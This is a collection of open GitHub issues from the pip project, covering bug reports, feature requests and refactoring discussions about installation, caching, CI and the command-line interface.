body: **Environment**

* pip version: 19.3.1
* Python version: 3.7
* OS: macOS 10.14.6

<!-- Feel free to add more information about your environment here -->

**Description**
The presence of `~`-prefixed temporary directories left in `site-packages` affects the output (and, I suspect, the behaviour?) of subsequent `pip install` invocations.

**Expected behavior**
`~`-prefixed temporary directories should not have any effect on how subsequent installations are handled.

**How to Reproduce**
1. Get yourself into a state where you've got a `~`-prefixed temporary directory in your `site-packages` folder. (I'm not entirely sure how to deliberately cause this to happen.)
2. Run a pip installation that will cause you to install a version

**Output**

Here's output from a recent attempt of mine to install an earlier version of `flake8` to that which I'd had installed previously:

```
$ sudo pip3 install flake8==3.6
WARNING: The directory '/Users/markamery/Library/Caches/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
WARNING: The directory '/Users/markamery/Library/Caches/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Collecting flake8==3.6
  Downloading https://files.pythonhosted.org/packages/34/a6/49e2849a0e5464e1b5d621f63bc8453066f0f367bb3b744a33fca0bc1ddd/flake8-3.6.0-py2.py3-none-any.whl (68kB)
     |████████████████████████████████| 71kB 4.4MB/s 
Collecting pycodestyle<2.5.0,>=2.4.0
  Downloading https://files.pythonhosted.org/packages/e5/c6/ce130213489969aa58610042dff1d908c25c731c9575af6935c2dfad03aa/pycodestyle-2.4.0-py2.py3-none-any.whl (62kB)
     |████████████████████████████████| 71kB 16.6MB/s 
Requirement already satisfied: mccabe<0.7.0,>=0.6.0 in /usr/local/lib/python3.7/site-packages (from flake8==3.6) (0.6.1)
Collecting pyflakes<2.1.0,>=2.0.0
  Downloading https://files.pythonhosted.org/packages/44/98/af7a72c9a543b1487d92813c648cb9b9adfbc96faef5455d60f4439aa99b/pyflakes-2.0.0-py2.py3-none-any.whl (53kB)
     |████████████████████████████████| 61kB 32.6MB/s 
Requirement already satisfied: setuptools>=30 in /usr/local/lib/python3.7/site-packages (from flake8==3.6) (41.0.1)
ERROR: -lake8 3.7.7 has requirement pycodestyle<2.6.0,>=2.5.0, but you'll have pycodestyle 2.4.0 which is incompatible.
ERROR: -lake8 3.7.7 has requirement pyflakes<2.2.0,>=2.1.0, but you'll have pyflakes 2.0.0 which is incompatible.
Installing collected packages: pycodestyle, pyflakes, flake8
  Found existing installation: pycodestyle 2.5.0
    Uninstalling pycodestyle-2.5.0:
      Successfully uninstalled pycodestyle-2.5.0
  Found existing installation: pyflakes 2.1.1
    Uninstalling pyflakes-2.1.1:
      Successfully uninstalled pyflakes-2.1.1
  Found existing installation: flake8 3.7.9
    Uninstalling flake8-3.7.9:
      Successfully uninstalled flake8-3.7.9

Successfully installed flake8-3.6.0 pycodestyle-2.4.0 pyflakes-2.0.0
```

Note in particular the lines:

```
ERROR: -lake8 3.7.7 has requirement pycodestyle<2.6.0,>=2.5.0, but you'll have pycodestyle 2.4.0 which is incompatible.
ERROR: -lake8 3.7.7 has requirement pyflakes<2.2.0,>=2.1.0, but you'll have pyflakes 2.0.0 which is incompatible.
```

These should not be here.

Rerunning the install after doing `rm -rf /usr/local/lib/python3.7/site-packages/~*` fixed the error.

I *think* (but didn't test rigorously enough to be certain, and don't know enough about how Pip handles version constraints across multiple package's dependencies to immediately guess) that these temporary folders are not merely affecting output but the actual selection of versions of dependencies, since I figure Pip is probably also *attempting* to honour the dependency version constraints of the "`-lake8`" package above.

The underlying issue here is the same as in https://github.com/pypa/pip/issues/7269; Pip should not regard `~`-prefixed temp folders in `site-packages` as packages, but seems to. I don't remember ever encountering this issue until a few weeks ago, so wonder if there's been a bug in the parsing of `site-packages` contents introduced in the past few months. But I know basically nothing about Pip's internals, so I'll defer to those who do.
user: ExplodingCabbage
labels: type: support: User Support
issue_7306: state: open
title: Bots to manage PR state in labels
body: If PRs automatically get a label describing what state they're in, IMO it'll make it easier to handle PR reviews. To copy from CPython, I think we'd benefit from these labels:

- `S: awaiting response` (exists)
- `S: awaiting review`
- `S: awaiting merge`

I think the approximate flow would be:

- new PR: apply `S: awaiting review` once CI passes (or on open?)
- has "changes requested" (red review): switch to `S: awaiting response`
- new commit, or comment in "awaiting response" state: switch to `S: awaiting review`
- approved and has no "changes requested": switch to `S: awaiting merge`

We'd still be able to manually apply these labels and if the above is the behavior of the bots, I don't think they'd fight us. Do others think this would be a good idea?

user: pradyunsg
labels: C: automation: Automated checks, CI etc
state: needs discussion: This needs some more discussion
issue_7294: state: open
title: Speed up build environment creation (re-usable, faster)
body: Currently pip always creates all build environments from scratch, requiring network access for this. This causes a significant overhead of creating isolated build environments. Can we somehow speed-up this operation?

Idea: Creating isolated build environments from cached wheels only? Do not recreate isolated build environments from scratch, but have a master copy that we just copy.
user: gaborbernat
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
help wanted: For requesting inputs from other members of the community
C: PEP 517 impact: Affected by PEP 517 processing
issue_7279: state: open
title: Clarify & document our CI strategy
body: Of our combination of supported interpreters, OS and architecture we are currently only testing a few without clear strategy (cf https://github.com/pypa/pip/pull/7247/files)

The goal would be to come up with a bunch of rules like:

- we only test the latest X minor PyPy versions
- we have at least one full test (with integration tests) on x86 for each OS (except MacOS where it doesn't make sense anymore)
- we test at least one PyPy version on each OS (and not only Linux)
- etc.
user: xavfernandez
labels: C: tests: Testing and related things
type: docs: Documentation related
type: maintenance: Related to Development and Maintenance Processes
issue_7274: state: open
title: Handle HTTP cache entry deletion gracefully at runtime
body: **What's the problem this feature will solve?**

As described in [#6970 (comment)](https://github.com/pypa/pip/issues/6970#issuecomment-527678672) pip is vulnerable to throwing confusing errors if files are deleted from the http cache arbitrarily.

**Describe the solution you'd like**

Check for the status code from the response [here](https://github.com/pypa/pip/blob/bffca72d4a29df4e27264e43b7bc4ee44e617c55/src/pip/_internal/download.py#L1297) and if it's a 304 then retry (optionally incorporating into our retry mechanism [here](https://github.com/pypa/pip/blob/bffca72d4a29df4e27264e43b7bc4ee44e617c55/src/pip/_internal/download.py#L635-L638) somehow).

This would prevent issues like those seen in #6970.

**Alternative Solutions**

* Do nothing, leave behavior undefined
* Document that cleaning up the cache while running pip otherwise is not supported

**Additional context**

* #6970
user: chrahunt
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
issue_7259: state: open
title: Designing a "goal" for build logic refactor
body: In the third edition of "Pradyun dumps his thoughts in a GitHub issue", there are thoughts on where to end up in terms of a design/architecture view, after this refactor.

Since ISTM that @chrahunt has volunteered to do some cleanup work on RequirementPreparer (and `prepare.py` in general), I'm skipping working on that bit of code (can come back to it later, if needed) to avoid any potential duplicated effort, and the next stage for me becomes the installation logic.

Prior to working on that, I figured it'll help to dump my ideas for how to eventually structure the codebase, w.r.t. this refactoring's resulting state.  I've been thinking about where the "build" and "install" logic in pip, should live.

---

As an initial proposal for discussion, here's one way we could structure the codebase:

```sql
operations
  build
    metadata.py -- current pip._internal.operations.generate_metadata
    metadata_legacy.py -- "legacy" parts of pip._internal.operations.generate_metadata
    wheel.py -- build logic from current pip._internal.wheel
  install
    legacy.py -- from source dists directly (setup.py install, setup.py develop)
    wheel.py -- unpacking wheels, for installation
    editable.py (future) -- for whatever future standard we have

models
  states -- @chrahunt's "projects" classes. Let's not bikeshed the name right now.
    -- current "pip._internal.distributions` package moves into this
    -- immutable -- makes them easier to reason about
    -- "transition" between states, via methods on these objects
    -- -> call an "operation", constructing a new state and returning it
    --   -> idempotent (ideally)
```

This is essentially moving the code in `InstallRequirement` into `operations.{build,install}` packages, separating code for different approaches we permit.

- keeping "legacy" approaches (i.e. implementation-defined-standards) separated
  - makes it easier to reason about these things
  - easier to drop support when we want to
- expecting the current `pip._internal.wheel` would likely be not-so-tricky to breakup into "install" vs "build" steps

---

I won't be introducing any "state" models for a bit, until the rest of the logic is fairly disentangled. The process will make it clearer if idempotence and and immutability for states, make sense given the current logic that we have. If you think we should have a detailed discussion about what "states" look like or do, I'll request you to file a new issue. :)

user: pradyunsg
labels: type: refactor: Refactoring code
state: needs discussion: This needs some more discussion
issue_7228: state: open
title: Warn users about shadowed entrypoint scripts on installation
body: *As mentioned by @pradyunsg in [#7209 (comment)](https://github.com/pypa/pip/issues/7209#issuecomment-542286679).*

**What's the problem this feature will solve?**

When installing a package using `--user` with entrypoints/scripts that shadow another executable, there can be problems if that executable is on `PATH` before the new executable. This is especially true for Python scripts when something changes about the actual function that gets imported (like moving `pip._internal:main` to `pip._internal.main:main`).

This is one of the causes behind #5599.

**Describe the solution you'd like**

On installation of a package, identify the executables that were created for scripts/entrypoints. For each executable, determine if it is the executable that would be found given a normal invocation of the name (or basename, for scripts that end with something in `PATHEXT`). If not, then trace a warning to the user like

> The package {package name} installed the script {script name} to {location}, but we found another script with the same name at {location} which is ahead of it on your PATH. If you want to execute the new script then invoke it directory or update your PATH.

**Alternative Solutions**

* Do nothing

**Additional context**

* #5599
* #7209
user: chrahunt
labels: state: awaiting PR: Feature discussed, PR is needed
C: scripts: How scripts and entry points are managed
type: feature request: Request for a new feature
issue_7226: state: open
title: pip should not uninstall the site-packages
body: pip will remove site-packages folder if there are no packages remaining; I think this shouldn't happen - it should only uninstall the packages themselves, not anything above 🤔  

```
python3.8 -m venv env; ls env/lib/python3.8 -alth; env/bin/pip3.8 install -U pip; env/bin/pip3.8 uninstall pip setuptools -y; ls -alth env/lib/python3.8                                                                                                                                                                            6.9s  Wed 16 Oct 12:52:50 2019
total 0
drwxr-xr-x 9 bgabor8 staff 288 Oct 16 12:52 site-packages/
drwxr-xr-x 3 bgabor8 staff  96 Oct 16 12:52 ./
drwxr-xr-x 3 bgabor8 staff  96 Oct 16 12:49 ../
Looking in indexes: http://localhost:3141/bernat/bb
Collecting pip
  Downloading http://localhost:3141/bernat/bb/%2Bf/e10/0a7eccf085f07/pip-19.3-py2.py3-none-any.whl (1.4MB)
     |████████████████████████████████| 1.4MB 37.2MB/s
Installing collected packages: pip
  Found existing installation: pip 19.2.3
    Uninstalling pip-19.2.3:
      Successfully uninstalled pip-19.2.3
Successfully installed pip-19.3
Uninstalling pip-19.3:
  Successfully uninstalled pip-19.3
Uninstalling setuptools-41.2.0:
  Successfully uninstalled setuptools-41.2.0
total 0
drwxr-xr-x 2 bgabor8 staff 64 Oct 16 12:52 ./
drwxr-xr-x 3 bgabor8 staff 96 Oct 16 12:49 ../
```
user: gaborbernat
labels: type: bug: A confirmed bug or unintended behavior
state: awaiting PR: Feature discussed, PR is needed
C: uninstall: The logic for uninstallation of packages
issue_7186: state: open
title: Permit pipenv and other tools to report itself as the downloader in pip's user agent
body: **What's the problem this feature will solve?**

Pip wrappers (like pipenv) want to be able to measure adoption of their tools.

**Describe the solution you'd like**

As discussed in #5424:

- [ ] submit a PR to update `linehaul`'s `UserAgent` schema to include an extra optional `wrapper` field (tracked by pypa/linehaul#50)
- [ ] wait for it to be deployed
- [ ] update the JSON data in pip's UA to include the extra subfield with the wrapper info based on the `PIP_USER_AGENT_WRAPPER_NAME` and `PIP_USER_AGENT_WRAPPER_VERSION` environment variables

**Alternative Solutions**

* Allow setting arbitrary string in user-agent - could break existing format expected by `linehaul`
* Do nothing - not justified based on the presence of a valid use case which doesn't have available workarounds or is able to be handled by external tools

**Additional context**

* [pypa/packaging-problems#58 (comment)](https://github.com/pypa/packaging-problems/issues/58#issuecomment-390070132)
* #5424
* pypa/linehaul#50
user: chrahunt
labels: state: blocked: Can not be done until something else is done
type: feature request: Request for a new feature
issue_7185: state: open
title: Clearer guidance for pull request contributors to get followup
body: **What's the problem this feature will solve?**

As mentioned over in #6606, it can be frustrating to submit a PR and have no activity on it for some time. That can be interpreted a number of ways by a contributor and very few of them positive.

We should provide a clear *and encouraged* mechanism for getting followup on PRs and communicate that explicitly in places that potential and current contributors are likely to see it.

**Describe the solution you'd like**

The mechanism for getting followup could be:

1. manually commenting on the PR itself, assuming maintainers are following the repo or that specific PR
1. manually `@`ing a reviewer for followup
1. `/request-review` - mentioned in CONTRIBUTING. Does this work? Also what is the review queue?
1. requesting review - permission-wise is this available to general contributors?

The places that contributors are likely to see it:

1. the [PR template](https://github.com/pypa/pip/blob/1c3f31ce1458d0ab76833a25443fa09718e9edfd/.github/PULL_REQUEST_TEMPLATE.md), which shows up every time a PR is being opened
1. [CONTRIBUTING.md](https://github.com/pypa/pip/blob/master/.github/CONTRIBUTING.md), which appears as a pop-over next to the PR input for first-time contributors
1. the pip [dev documentation](https://pip.pypa.io/en/latest/development/contributing/#submitting-pull-requests), which is probably referenced by people that need a reminder and on first contribution (but is not linked to 

These are not ideal since I don't think any of them would necessarily be visible to the people that need it most. We could include some automation to post links to the above when a review seems to be going stale, or directly take action (like requesting review)

**Alternative Solutions**

* Do nothing
* Not have any pending PRs

**Additional context**

* #6606
user: chrahunt
labels: type: docs: Documentation related
state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_7173: state: open
title: Provide a way to restrict acceptable licenses for downloaded source code
body: **What's the problem this feature will solve?**
To help users not use software whose license does not meet some criteria the user has.

**Describe the solution you'd like**
A way to specify what license trove classifiers are acceptable and either warn or error out if none of the trove classifiers exist (or at least if no trove classifier for a license is specified).

**Alternative Solutions**
Get PyPI and/or twine to complain very loudly if no license is specified. :)

**Additional context**
Basically having to hunt this stuff down sucks, so it might be helpful to expose this more upfront when people try to use software which might not meet corporate requirements.
user: brettcannon
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_7157: state: open
title: Merge list & freeze commands
body: **What's the problem this feature will solve?**

Simplify pip CLI interface.

Currently, `list` and `freeze` are two commands that perform almost the same role.
`pip freeze` and `pip list` output the same kind of information on the installed packages but with different format and different available options.

As an example, `pip freeze --all` should produce the same output as `pip list --format=freeze` (except for editable installs...).

**Describe the solution you'd like**

Both commands would be merged into one (`list`) and `freeze` would simply be an alias for `list --format=freeze`.
This should lower the maintenance and simplify our CLI interface.

**Alternative Solutions**
Statu quo.

user: xavfernandez
labels: type: enhancement: Improvements to functionality
C: freeze: 'pip freeze' related
C: list/show: 'pip list' or 'pip show'
state: needs discussion: This needs some more discussion
UX: User experience related
issue_7137: state: open
title: Add a way to specify ad-hoc configuration file
body: **What's the problem this feature will solve?**
Currently, if using different indexes, you have to specify --client-cert, -i, --cert and other options as CLI arguments for corresponding index. One can create system-wide, per-user or per-virtual-environment conf file, but it is not sufficient if using multiple indexes.

**Describe the solution you'd like**
Being able to pass configuration file, as described in [Pip User Guide](https://pip.pypa.io/en/stable/user_guide/#config-file), every time I run pip.

With this feature I would've been able to create conf files for every index I use and use them instead of specifying --client-cert, --cert and -i every time.

user: soslan
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_7129: state: open
title: Add name-only option in `pip freeze`
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

To display all installed package without version details.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

`pip freeze --simple`, then all names of installed packages will be listed without version numbers.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

There is a way to use gawk to eliminate version string after `==`, but it is too complicated.
**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: stevenleeS0ht
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_7122: state: open
title: pip silently fails to install extras and returns error code
body: It seems that pip just returns success code on anything related to use of extras, commands like: `pip install -e .[non_exiting_extra]` reports success.

Even worse, with existing extras that may fail to install, the final result code is still a success, when in fact pip failed to install dependencies.

This is a critical bug because it directly affect CI usage where we can no longer trust result code from pip, bugs may go in unnoticed.

user: ssbarnea
labels: type: enhancement: Improvements to functionality
kind: backwards incompatible: Would be backward incompatible
state: awaiting PR: Feature discussed, PR is needed
C: extras: Handling optional dependencies
issue_7049: state: open
title: Splitting RequirementPreparer
body: Welcome to another edition of Pradyun dumps his thoughts in an issue to get inputs from actually smart humans!

Currently, RequirementPreparer has two "jobs" - fetch+unpack a requirement and generate metadata.

It does this using:
- `unpack_url` from `pip._internal.download`
- `Distribution` objects from `pip._internal.distributions`

There is some additional functionality that it provides. Mainly, it calls `req.archive`, which well, is used in `pip download`. I think there's benefit to splitting out all these operations.

Given that `InstallRequirement.archive` skips the generated `pip-egg-info` directory, I think it's reasonable to move the logic archive generation code to do so before metadata is generated.

This would result in a behavior change that I'm okay with -- we'd create an archive before calling egg_info, when using pip download. I'm not sure if this affects setuptools_scm, but based on my rudimentary understanding, it shouldn't. And if we really care a lot, I think we'd be better off moving the logic for the archiving into pip download, so that we can maintain the separation between these stages. We should probably be doing that anyway since in the more-correct resolver model, we'd only want to archive whatever is in the final set. Anyway, I'm calling it "not required" right now so I won't be making that change.

With that change, all the fetching related logic would happen before metadata generation. That'll allow splitting `RequirementPreparer` into `RequirementFetcher` and `MetadataGenerator`s. This in turn would make it so that we can also introduce abstraction-style objects between these stages if we want to. I'm open to exploring that based on how the refactor here goes.

My understanding is that we can get away with making the MetadataGenerator to be just functions. In future, we could make them transform some kind of FetchedCandidate into a Distribution object. For now, they'll consume an InstallRequirement, do whatever we're doing today and return the same object. This change also confuses me what we'd want to be doing with Distribution objects (they have the build isolation code and call the metadata generation code in InstallRequirement) but, hey, one step at a time. I'll look into that once this "stage" is done with.
user: pradyunsg
labels: type: refactor: Refactoring code
state: needs discussion: This needs some more discussion
issue_7031: state: open
title: Renaming InstallationCandidate and friends
body: This is an offshoot from a discussion around #6607 and the future resolver work as part of #988. Also, naming things is difficult.

---

In this issue, I'm trying to jot down a few naming related concerns that I have w.r.t. the package index and resolver code in pip right now, mostly to get inputs from other folks and figure out actionable items. I want to try to make sure that no one has blocking concerns with whatever names and verbs we end up choosing here. That said, this can easily turn into bikeshedding so please don't block suggestions unless they're in the "no this can not work" territory.

I'll also quickly note that I do wish that I would've flagged these earlier, but well, I didn't (or I did and I don't recall why I didn't pursue them then). Sorry if this causes annoyance for anyone and know that that's not the intent here.

----

I think we should rename `InstallationCandidate` to something that does not conflict with the "candidate" from resolvelib's terminology. The two classes do not model the same concept and since the resolver and package-finder do pass around information, they should utilize a shared, non-conflicting vocabulary in them.

The `InstallationCandidate` name makes sense given pip's current resolution strategy for something from the index is: see all candidates from the package index and choose a "best candidate". Once chosen, this is the candidate that would be installed, ignoring any future conflicts.

However, in the resolvelib model, a "candidate" may be deselected if a conflict is found, which means a once-"selected" package index link does not always correspond to something that would be installed. It would if it is still selected at the end of the resolution process, but there are no guarantees during resolution.

If we agree that `InstallationCandidate` needs to be renamed, we'd also want to change some of the phrases we're using:

- `evaluate_link()` needs a better description.
  - Current: returns whether a link is a candidate for install.
  - Suggestion: Evaluate if `link` is compatible with the current environment.
- candidate for installation -> candidate (information?) from index

---

@techalchemy and I tried to come up with a better name to avoid this ambiguity, and after a lot of mental effort, we landed on `IndexCandidateInfo`. Personally, I think it's better than `InstallationCandidate`. It is clearer that the object is, information from the index about a "candidate" available from the index. However, we're still using the noun "candidate" as a part of this, which I'd ideally want us to not be using here.

None the less, to structure the discussion more linearly, there's basically 2 or 3 things I'd want to hear from interested folks on:

- Does `IndexCandidateInfo` sound like a better-enough name for now to do a switch "now" and avoid renaming almost every class in `index.py`?
- Does anyone else think there's enough value to be had, by completely avoiding the verb "candidate" in `index.py`?
  - If yes, do you have any suggestions for a better noun/verb combination -- for PackageFinder, Link, InstallationCandidate, "evaluate" link, "evaluate" candidate -- such that we avoid using "candidate"?

user: pradyunsg
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
C: finder: PackageFinder and index related code
issue_7026: state: open
title: Tests failing with extraneous output due to log level
body: **Environment**

* pip version: master
* Python version: 2.7/3.7
* OS: Windows

**Description**

In #7023 there were test failures in Azure Pipelines CI for Windows. These seemed unrelated to the changes being made at the time.

The specific issue appeared to be related to unexpected log messages being traced by pep425tags, as indicated in output below. The log messages themselves are unexpected because the default log level in pip is WARNING, but these were DEBUG level. For the test in question there didn't appear to be any setting of the caplog level. There were some other tests which use `caplog.set_level(DEBUG)`, however the pytest docs indicate that the log level should be reset at the end of the tests.

**Expected behavior**

Tests passing consistently.

**How to Reproduce**

It seems kind of arbitrary since other PRs around that time (e.g. #7025) did not fail. Creating a commit on top of 51d7a97 (the last commit for the PR where the issue was observed) and submitting a PR for it may do the trick.

**Output**

<details>
<summary>Python 2.7 - Windows x86 (<a href="https://dev.azure.com/pypa/pip/_build/results?buildId=12490&view=logs&jobId=f801bdd4-2ff4-5da8-3bd6-deea013b4470&taskId=16f6b271-31b4-5cd6-9f4b-0d32a26b2e2b&lineStart=62&lineEnd=88&colStart=1&colEnd=1">link</a>)</summary>

```
__ TestCandidateEvaluator.test_sort_best_candidate__best_yanked_but_not_all ___
[gw1] win32 -- Python 2.7.16 d:\a\1\s\.tox\py\scripts\python.exe

self = <tests.unit.test_index.TestCandidateEvaluator instance at 0x05E88530>
caplog = <_pytest.logging.LogCaptureFixture object at 0x06829250>

    def test_sort_best_candidate__best_yanked_but_not_all(
        self, caplog,
    ):
        """
            Test the best candidates being yanked, but not all.
            """
        candidates = [
            make_mock_candidate('4.0', yanked_reason='bad metadata #4'),
            # Put the best candidate in the middle, to test sorting.
            make_mock_candidate('2.0'),
            make_mock_candidate('3.0', yanked_reason='bad metadata #3'),
            make_mock_candidate('1.0'),
        ]
        expected_best = candidates[1]
        evaluator = CandidateEvaluator.create('my-project')
        actual = evaluator.sort_best_candidate(candidates)
        assert actual is expected_best
        assert str(actual.version) == '2.0'
    
        # Check the log messages.
>       assert len(caplog.records) == 0
E       assert 3 == 0
E        +  where 3 = len([<logging.LogRecord object at 0x06829650>, <logging.LogRecord object at 0x06829E70>, <logging.LogRecord object at 0x061263D0>])
E        +    where [<logging.LogRecord object at 0x06829650>, <logging.LogRecord object at 0x06829E70>, <logging.LogRecord object at 0x061263D0>] = <_pytest.logging.LogCaptureFixture object at 0x06829250>.records

tests\unit\test_index.py:550: AssertionError
```

</details>

<details>
<summary>Python 3.7 - Windows x64 (<a href="https://dev.azure.com/pypa/pip/_build/results?buildId=12490&view=logs&jobId=88d9dc86-3d79-5e8a-7a2d-b92d46a16d40&taskId=67d2f64c-4220-516b-22c8-4dbcddf89d0b&lineStart=63&lineEnd=87&colStart=1&colEnd=1">link</a>)</summary>

```
__ TestCandidateEvaluator.test_sort_best_candidate__best_yanked_but_not_all ___
[gw2] win32 -- Python 3.7.4 d:\a\1\s\.tox\py\scripts\python.exe

self = <tests.unit.test_index.TestCandidateEvaluator object at 0x000002A1B322EBC8>
caplog = <_pytest.logging.LogCaptureFixture object at 0x000002A1B2FCDC48>

    def test_sort_best_candidate__best_yanked_but_not_all(
        self, caplog,
    ):
        """
            Test the best candidates being yanked, but not all.
            """
        candidates = [
            make_mock_candidate('4.0', yanked_reason='bad metadata #4'),
            # Put the best candidate in the middle, to test sorting.
            make_mock_candidate('2.0'),
            make_mock_candidate('3.0', yanked_reason='bad metadata #3'),
            make_mock_candidate('1.0'),
        ]
        expected_best = candidates[1]
        evaluator = CandidateEvaluator.create('my-project')
        actual = evaluator.sort_best_candidate(candidates)
        assert actual is expected_best
        assert str(actual.version) == '2.0'
    
        # Check the log messages.
>       assert len(caplog.records) == 0
E       assert 2 == 0
E        +  where 2 = len([<LogRecord: pip._internal.pep425tags, 10, d:\a\1\s\.tox\py\lib\site-packages\pip\_internal\pep425tags.py, 97, "Config...y\lib\site-packages\pip\_internal\pep425tags.py, 97, "Config variable '%s' is unset, Python ABI tag may be incorrect">])
E        +    where [<LogRecord: pip._internal.pep425tags, 10, d:\a\1\s\.tox\py\lib\site-packages\pip\_internal\pep425tags.py, 97, "Config...y\lib\site-packages\pip\_internal\pep425tags.py, 97, "Config variable '%s' is unset, Python ABI tag may be incorrect">] = <_pytest.logging.LogCaptureFixture object at 0x000002A1B2FCDC48>.records

tests\unit\test_index.py:550: AssertionError
```

</details>

**Additional Context**

* #7023
user: chrahunt
labels: C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
state: awaiting PR: Feature discussed, PR is needed
issue_7019: state: open
title: Simplify input requirement parsing
body: **What's the problem this feature will solve?**

Currently pip accepts several types of input as "requirements":

1. name-based requirements (PEP 508)
2. direct references (PEP 440 - unsupported currently per #6202, but should be accepted)
3. file paths (no PEP, just current behavior)
4. URLs (no PEP, just current behavior)

The parsing for these is ad-hoc and pretty complicated, with lots of code paths (see [here](https://github.com/pypa/pip/blob/83bb1d07363681ddcb813233340d1148e9445a0c/src/pip/_internal/req/constructors.py)). This makes it hard to understand:

1. the error that a user may see given some invalid input
2. the possible initial states of `InstallRequirement` given a user input

It is also impossible to re-use the current code to initialize any other kind of type than an `InstallRequirement` (so this is a prereq for some of the build refactoring).

**Describe the solution you'd like**

At a high level we need to map any arbitrary input to one of the 4 categories mentioned above. This is difficult to do unambiguously because we accept file paths, so I think we should make some assumptions and then users that want to use weird file paths can feel free to use an explicit `file://` URL.

The primary standards-based constraints are:

1. a PEP 440 direct reference contains a `@` followed by `<scheme>://` followed optionally by `;` and markers which can have any content
2. a name-based requirement will consist of non-`@` characters followed optionally by extras and specifiers and then by `;` and markers which can have any content

Simplifying assumptions:

1. A file path provided by the user must have at least one of `.`, `/`, or `\` (on Windows), followed optionally by something that looks like extras and something that looks like markers
2. The URI_reference part of a direct reference will contain `://`
3. URLs passed by the user will contain `://`

That leads to the following rules for deciding how to process input:

1. if the input contains "@" followed eventually by "://" (with no preceding ";") then we treat it like a direct reference - pass it to `Requirement` and derive all fields of `RequirementInfo` from that
2. If the input contains "://" (with no preceding ";") then we treat it like a URL - we manually extract markers and optional package name and extras from and `#egg=` fragment, which are used to instantiate a `Requirement` if present. Any missing fields get derived from the `Requirement` if set.
3. If the input contains `os.pathsep` or `os.altsep` or starts with '.' then we treat it like a path, convert it to an absolute file URL and process the same as 2.
4. Otherwise, we treat it like a name-based requirement - pass it to `Requirement` and derive all fields of `RequirementInfo` from that

Other details:

The module to be added is `pip._internal.req.parsing` with a function `parse_requirement_text` that takes a string as would be input by a user or in dependency metadata and returns a `RequirementInfo`. `RequirementInfo` would contain:

1. `markers: Set[Marker]`
2. `link: Optional[Link]` - if `None` then it's a name-based requirement
3. `requirement: Optional[Requirement]` - if `None` then it's an "unnamed" requirement
4. `extras: Set[str]`

`parse_requirement_text` would do the steps as described above.

`parse_requirement_text` would not do any filesystem operations or logging and it should map any expected exceptions to `RequirementParsingError` with an indication of how we were trying to process the text (direct reference, url, path, or name-based).

Once implemented, we should refactor `req.constructors.install_req_from_*` to delegate parsing to `parse_requirement_text` and just do operations on the returned `RequirementInfo`.

**Alternative Solutions**

1. Refactor the existing code while preserving all possible existing behaviors. Having just tried that, it's a big pain and the result doesn't look very good.

**Additional context**

* #5204
user: chrahunt
labels: type: refactor: Refactoring code
state: needs discussion: This needs some more discussion
issue_7014: state: open
title: Tests depend on Bitbucket Mercurial support (sunsetting June 1, 2020)
body: Some of pip's tests depend on Bitbucket support for Mercurial, which sunsets June 1, 2020: https://bitbucket.org/blog/sunsetting-mercurial-support-in-bitbucket

Here is one such test: https://github.com/pypa/pip/blob/084d79794739f3052c7aae12916d4b4595bfcb9f/tests/functional/test_install.py#L666-L675

(Also, external repos that pip's tests depend on should probably be under the PyPA organization.)
user: cjerdonek
labels: C: tests: Testing and related things
C: vcs: pip's interaction with version control systems like git, svn and bzr
type: maintenance: Related to Development and Maintenance Processes
issue_7004: state: open
title: allow specifying extras to be included into the install
body: **What's the problem this feature will solve?**
Allow environment builder frontends to provision build dependencies.


Assume an environment builder frontend (such as `tox`) wants to build a test/dev environment. The assumption would be that the package under test is installed before every test run, however package dependencies only need to be installed/checked for install when the build backend config changes. We can use PEP-517 [prepare-metadata-for-build-wheel](https://www.python.org/dev/peps/pep-0517/#prepare-metadata-for-build-wheel) and `importlib-metadata` [distribution-requirements](https://importlib-metadata.readthedocs.io/en/latest/using.html#distribution-requirements) to request package dependencies without actually installing the package. This will provide you the dependencies though with markers included and in case of extras with the extras marker:

```
filelock<4,>=3.0.0
importlib-metadata<1,>=0.12; python_version < "3.8"
pytest<6,>=4.0.0; extra == "testing"
psutil<6,>=5.6.1; (python_version != "3.4") and extra == "testing"
```

The problem is that lines containing the extras argument cannot be installed on their own.

**Describe the solution you'd like**

We should allow some kind of interface that allows the user to install extras from first level. Such as:

```
pip install --extras testing 'pytest<6,>=4.0.0; extra == "testing"'
```

would install pytest even though it's not installed via a package.

cc @jaraco 
user: gaborbernat
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_6994: state: open
title: Improve error message when pip is being modified as a dependency
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
Currently when you install a package (which **depends** on pip) on Windows using `pip.exe` you get the following error message if it's trying to modify pip:

```bash
> pip.exe install briefcase
ERROR: To modify pip, please run the following command:
C:\Python36\python.exe -m pip install --upgrade briefcase
```

The error message may be a little confusing to someone installing a package. It would be straightforward (and worthwhile) to special-case this to indicate that pip is being modified because it is listed as a dependency (and maybe what it is listed as a dependency of).

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

Something like:

```cmd
> pip install briefcase
ERROR: pip is being modified because it is listed as a dependency. To modify pip, please run 
the following command:
C:\Python36\python.exe -m pip install --upgrade briefcase
```

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

N/A

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

